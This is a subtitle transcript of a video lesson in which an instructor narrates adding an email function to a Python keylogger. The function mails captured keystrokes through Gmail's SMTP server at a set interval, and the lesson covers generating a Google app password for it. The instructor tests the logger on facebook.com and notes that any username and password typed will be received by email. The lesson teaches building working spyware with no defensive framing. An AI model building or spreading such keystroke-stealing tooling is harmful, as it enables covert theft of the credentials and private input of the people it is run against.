WEBVTT

00:01.080 --> 00:09.000
Okay, now it is time to come and create the send email function or part.

00:09.040 --> 00:12.800
Okay, so this is the main part.

00:12.840 --> 00:13.000
Okay.

00:13.040 --> 00:16.480
The main function or the constructor.

00:16.480 --> 00:21.920
And here you see we have the time here hardcoded.

00:21.960 --> 00:27.360
It is better to ask that from or add that as an argument.

00:27.400 --> 00:28.000
Okay.

00:28.040 --> 00:31.080
So if you want to add that as argument you need to add it here.

00:31.080 --> 00:37.520
And later on you can add it here while you're calling the class and creating the object for the class.

00:37.560 --> 00:38.160
Okay.

00:38.200 --> 00:43.120
So here I'm going to use let's name it time interval.

00:44.640 --> 00:45.400
Interval.

00:45.440 --> 00:46.520
Okay.

00:46.520 --> 00:54.360
And here after you added that here you self dot time interval.

00:55.880 --> 01:01.510
Time interval is equal to time And so on.

01:01.550 --> 01:01.950
Okay.

01:02.630 --> 01:02.870
So.

01:05.670 --> 01:14.590
Or if you don't want to add time interval you can just add time interval is equal to time interval okay.

01:15.150 --> 01:24.630
And now in here in instead of having that number right there you can use self dot interval.

01:24.670 --> 01:25.310
Okay.

01:25.350 --> 01:28.390
So let's use self dot interval.

01:29.030 --> 01:29.630
Perfect.

01:29.750 --> 01:37.550
And now here because in main function right here we have an argument okay which is time interval.

01:37.750 --> 01:41.590
Now we need to pass that time here okay which was six.

01:42.030 --> 01:46.470
And if you want you can add more time for example 100 and 20s.

01:46.510 --> 01:48.070
Just two minutes okay.

01:48.110 --> 01:58.230
And by the way let me collapse this and also this and also this one and this dot function.

01:58.270 --> 01:58.670
Okay.

02:00.190 --> 02:07.750
So here Under this report function, I need to create another function or method that is going to be

02:09.150 --> 02:11.550
sending an email method.

02:11.590 --> 02:11.990
Okay.

02:12.550 --> 02:12.790
So.

02:15.550 --> 02:17.790
Let's create that method here.

02:18.470 --> 02:25.750
Define a method I'm going to name this send mail or send email or something like that.

02:26.030 --> 02:30.390
So here it is going to have an email.

02:30.550 --> 02:30.990
Okay.

02:31.470 --> 02:32.750
We need to provide an email.

02:32.750 --> 02:35.270
And also we need to provide a password.

02:35.990 --> 02:38.110
You need to provide a message.

02:38.150 --> 02:38.550
Okay.

02:39.430 --> 02:47.550
So that while we are using we are creating any function or any method here we need to use self or you

02:47.550 --> 02:50.790
need to provide a self keyword at the beginning.

02:50.830 --> 02:51.630
Okay.

02:51.670 --> 02:54.710
So here you need to create a server variable.

02:54.710 --> 02:55.870
It is equal to.

03:00.030 --> 03:02.310
Server is equal to Smtplib.

03:02.310 --> 03:13.540
Lib smtp lib dot um smtp here.

03:14.060 --> 03:14.740
Right.

03:14.900 --> 03:16.060
This one okay.

03:16.100 --> 03:27.460
smtp.gmail.com and then provide the port which is 587.

03:27.620 --> 03:28.020
Okay.

03:28.260 --> 03:30.700
And also we need to import the SMTP here.

03:32.100 --> 03:34.740
Import s m.

03:37.700 --> 03:41.140
SMTP smtp lib.

03:45.980 --> 03:49.180
Okay now let's use server.

03:51.380 --> 04:05.140
Dot start TLS which is a function and also server dot Login is also a function.

04:05.340 --> 04:11.900
Here we need to provide the email that we provided and also we need to pass the password.

04:12.060 --> 04:12.460
Okay.

04:13.980 --> 04:19.740
So now you are logged in while you were logged in you need to send okay.

04:20.140 --> 04:23.220
Server dot send mail.

04:25.020 --> 04:25.980
That is here.

04:26.500 --> 04:33.460
And in here you need to use email and also email.

04:35.260 --> 04:38.740
And then the message that you provided.

04:38.780 --> 04:39.180
Okay.

04:40.340 --> 04:45.540
And finally server dot quit.

04:48.460 --> 04:48.820
Okay.

04:49.660 --> 04:51.420
Now it is almost completed.

04:51.460 --> 04:51.900
Okay.

04:52.380 --> 04:56.620
Now into this report here.

04:56.620 --> 04:59.740
You see we are printing the self dot log.

04:59.980 --> 05:05.090
Now instead of printing the self dot Log you need to.

05:07.610 --> 05:10.770
Use or call this send mail method.

05:10.810 --> 05:14.250
Okay so here let's call that.

05:14.250 --> 05:17.770
So we use self dot send mail.

05:18.010 --> 05:29.010
And here we have some argument or something like okay argument or attribute here that needs to be added

05:29.010 --> 05:30.690
into the main function.

05:31.370 --> 05:34.890
So okay into the main function.

05:34.890 --> 05:36.610
Again just like the other one.

05:36.770 --> 05:39.290
We need to provide two things okay.

05:39.330 --> 05:40.890
One of them is going to be email.

05:41.290 --> 05:45.130
The other one is going to be password.

05:45.170 --> 05:48.290
You may ask how about or what about messages.

05:48.770 --> 05:53.570
The message come from here because we are going to just add the log as message okay.

05:55.010 --> 06:06.570
So here we use self dot email is equal to email Self dot message.

06:08.970 --> 06:09.730
Come on.

06:11.010 --> 06:12.730
Message is equal to.

06:12.770 --> 06:13.450
Message.

06:18.130 --> 06:18.610
Message.

06:18.650 --> 06:19.570
Not really.

06:19.610 --> 06:20.290
What am I doing?

06:20.290 --> 06:22.570
I don't know, but password.

06:25.410 --> 06:28.970
Is equal to password.

06:30.210 --> 06:31.290
So.

06:31.290 --> 06:42.890
And now while we are calling the method here we need to use self dot as self dot email, solve the password

06:42.890 --> 06:44.170
and self dot log.

06:44.210 --> 06:44.690
That is all.

06:44.730 --> 06:47.690
Okay so let's use self dot email.

06:49.570 --> 06:52.890
Self dot password.

06:54.330 --> 06:59.010
And finally self dot log.

06:59.570 --> 07:02.490
Here we were adding printing the log.

07:02.490 --> 07:07.440
Now instead of doing this We are doing this.

07:07.480 --> 07:09.920
Okay, now I saved this.

07:10.160 --> 07:10.600
Okay.

07:11.200 --> 07:13.560
And also I import Smtplib here.

07:13.960 --> 07:18.120
Now it is time to add each of those each of those arguments right here.

07:18.160 --> 07:19.080
Okay.

07:19.120 --> 07:22.520
So the first one is going to be.

07:25.760 --> 07:26.440
Password.

07:26.480 --> 07:26.880
Okay.

07:26.920 --> 07:28.040
As you see here.

07:28.080 --> 07:30.000
No the first one is going to be the email.

07:30.000 --> 07:32.480
The second one is going to be password.

07:32.720 --> 07:35.440
So here you need to provide your email.

07:35.440 --> 07:36.960
For example my email is going to be.

07:39.640 --> 07:46.040
The gmail.com and also the password for your email here okay.

07:46.480 --> 07:47.040
Anything.

07:47.240 --> 07:52.200
For example this one you need to provide your real password here okay.

07:54.640 --> 07:55.080
Okay.

07:55.080 --> 07:57.200
Now I have these.

07:57.240 --> 07:58.720
Put this to six seconds.

07:58.720 --> 08:01.920
And also I have the email I have a password.

08:01.920 --> 08:09.430
This one this is a password I'll show you how you can generate an app password on your from your Google

08:09.430 --> 08:09.830
account.

08:09.870 --> 08:14.230
Okay, so you need to open your Google account, for example your browser.

08:14.590 --> 08:14.950
Okay.

08:14.990 --> 08:17.470
Hit this icon here, which is your photo.

08:17.510 --> 08:17.870
Okay.

08:17.910 --> 08:19.030
Hit manage Google.

08:19.750 --> 08:21.430
Manage your account.

08:21.510 --> 08:26.870
And then come here select security and scroll down here.

08:27.030 --> 08:29.710
You see we have a password here.

08:29.790 --> 08:33.070
If you don't have it you may have it right here.

08:33.110 --> 08:33.390
Okay.

08:33.430 --> 08:39.070
If you need to enable two step verification then you see the app password here something like this.

08:39.110 --> 08:42.310
If you don't see that search here okay.

08:42.350 --> 08:44.790
App password.

08:45.390 --> 08:47.950
And that is here.

08:48.110 --> 08:49.270
Hit that okay.

08:51.350 --> 08:56.430
And after a while it will maybe ask you to enter your password.

08:56.430 --> 09:01.070
And after that you will be redirected into this web page.

09:01.550 --> 09:05.270
From here select email for example and then select your.

09:06.830 --> 09:07.430
computer.

09:07.590 --> 09:09.350
Mine is windows computer.

09:09.350 --> 09:14.550
Maybe your Windows Phone or Mac or BlackBerry or even other.

09:14.590 --> 09:19.350
Okay, so I use windows computer and then I hit generate.

09:20.550 --> 09:24.270
So this is a password that is generated.

09:24.310 --> 09:26.470
Now I can use it for.

09:26.510 --> 09:27.430
I copy this.

09:27.470 --> 09:27.630
Okay.

09:27.670 --> 09:29.110
And then I can use this.

09:29.110 --> 09:32.510
Let me use Ctrl C and then I hit okay.

09:32.910 --> 09:34.350
Now that is created here.

09:34.390 --> 09:34.790
Okay.

09:35.590 --> 09:39.070
And here it will show if it is used or not.

09:39.230 --> 09:45.150
So this two is used but this one is not used yet.

09:45.190 --> 09:46.550
Let's come back here.

09:46.790 --> 09:53.630
And now instead of this one I will use the other one that I just generated.

09:53.670 --> 09:53.910
Okay.

09:53.950 --> 09:55.150
So I save this.

09:55.590 --> 09:58.430
Now let's come back here I want to execute this.

10:00.670 --> 10:05.630
And let's say hello and hit enter.

10:06.420 --> 10:10.180
So now I'm going to go back to my Gmail.

10:12.300 --> 10:13.180
That is here.

10:15.380 --> 10:15.980
Let's.

10:19.580 --> 10:19.940
See.

10:20.940 --> 10:23.300
We have hello and E.

10:23.660 --> 10:24.700
Okay.

10:24.700 --> 10:31.460
And also uh here for example I want to go to uh any view.

10:31.460 --> 10:35.180
For example I want to go to facebook.com.

10:36.660 --> 10:42.940
Now while I enter facebook.com this may capture that okay.

10:45.340 --> 10:45.780
See?

10:45.820 --> 10:46.820
Still not.

10:46.900 --> 10:48.140
We don't have it yet.

10:49.140 --> 10:49.900
Now you see.

10:52.780 --> 10:54.060
Uh, Facebook.

10:54.620 --> 10:54.940
Okay.

10:54.940 --> 10:56.060
just.com.

10:56.060 --> 10:58.820
We have just received this.

10:58.860 --> 11:03.220
Also, if you want, you can do one more thing here.

11:03.660 --> 11:06.580
For example, let me come right in Right in here.

11:06.700 --> 11:11.700
And I want to add these at least 22nd.

11:11.740 --> 11:12.100
Okay.

11:12.140 --> 11:13.260
I will save this.

11:13.260 --> 11:15.260
And I came back here.

11:15.580 --> 11:18.700
I use Ctrl C to interrupt this.

11:18.740 --> 11:19.940
I use clear.

11:19.980 --> 11:24.420
I re-execute this and now the program is running.

11:24.700 --> 11:25.100
Okay.

11:26.540 --> 11:29.700
So you right now looks like we don't have internet connection.

11:29.700 --> 11:32.620
For example I'm trying to go to Python.

11:32.660 --> 11:36.700
Go to facebook.com I hit enter.

11:36.740 --> 11:37.700
Okay.

11:37.700 --> 11:48.500
Now if you provide anything like username and password something like that, you will receive that right

11:48.500 --> 11:48.780
here.

11:48.820 --> 11:49.140
Okay.

11:49.180 --> 11:55.580
See we have facebook.com and then we have the the keyword okay.

11:56.820 --> 11:59.060
Enter that is pressed.

11:59.300 --> 12:06.060
And also you can give that time to be more than this that we have it here.

12:06.170 --> 12:06.490
Okay.

12:07.410 --> 12:07.730
Me?

12:07.730 --> 12:09.450
I give it 22nd.

12:09.490 --> 12:12.130
You can give it at least half of an hour.

12:12.170 --> 12:12.890
Okay.

12:12.930 --> 12:20.890
After each half of an hour, it will capture all the keywords, all the keys that is pressed, and you

12:20.890 --> 12:21.850
can reset it.

12:21.850 --> 12:22.570
Okay.

12:22.610 --> 12:24.650
So for me, right now, it is in here.

12:24.650 --> 12:27.410
Everything looks like it is.

12:27.410 --> 12:34.930
Uh, all other thing is filtered here.

12:35.170 --> 12:42.170
But let me if I find something like login page or something like that.

12:44.930 --> 12:49.250
Uh, okay.

12:49.250 --> 12:50.690
I don't have it here or anything.

12:50.690 --> 12:51.010
Okay.

12:52.690 --> 12:56.610
So here you learned a lot of thing.

12:56.650 --> 12:57.050
Okay.

12:57.250 --> 13:00.730
You created your key logger, which is working perfectly.

13:01.130 --> 13:04.450
Now, if you want, you can remove this password.

13:04.490 --> 13:06.530
Let me show you how you can remove it.

13:06.570 --> 13:09.930
okay for before removing that I will.

13:09.930 --> 13:12.930
I need to stop this program.

13:12.930 --> 13:17.930
Let's use Ctrl X or Ctrl C okay, now it is stopped.

13:20.730 --> 13:29.570
Or also here while we are starting the program, before doing anything I could do.

13:29.610 --> 13:41.290
Like I can send an email and I can add like the program started and then it will do the rest of things.

13:41.330 --> 13:46.050
So okay, I forgot to tell you this one.

13:46.050 --> 13:55.210
Now if I refresh this, it will tell me that it is just used, uh, this second.

13:55.250 --> 13:56.730
Now I can remove this.

13:56.730 --> 13:58.090
Okay, I hit delete.

13:58.370 --> 13:59.570
So that is deleted.

13:59.570 --> 14:02.450
And also I delete this one that is also deleted.

14:02.450 --> 14:02.890
Okay.

14:03.490 --> 14:07.770
So thanks for watching and I will see you in the next section.
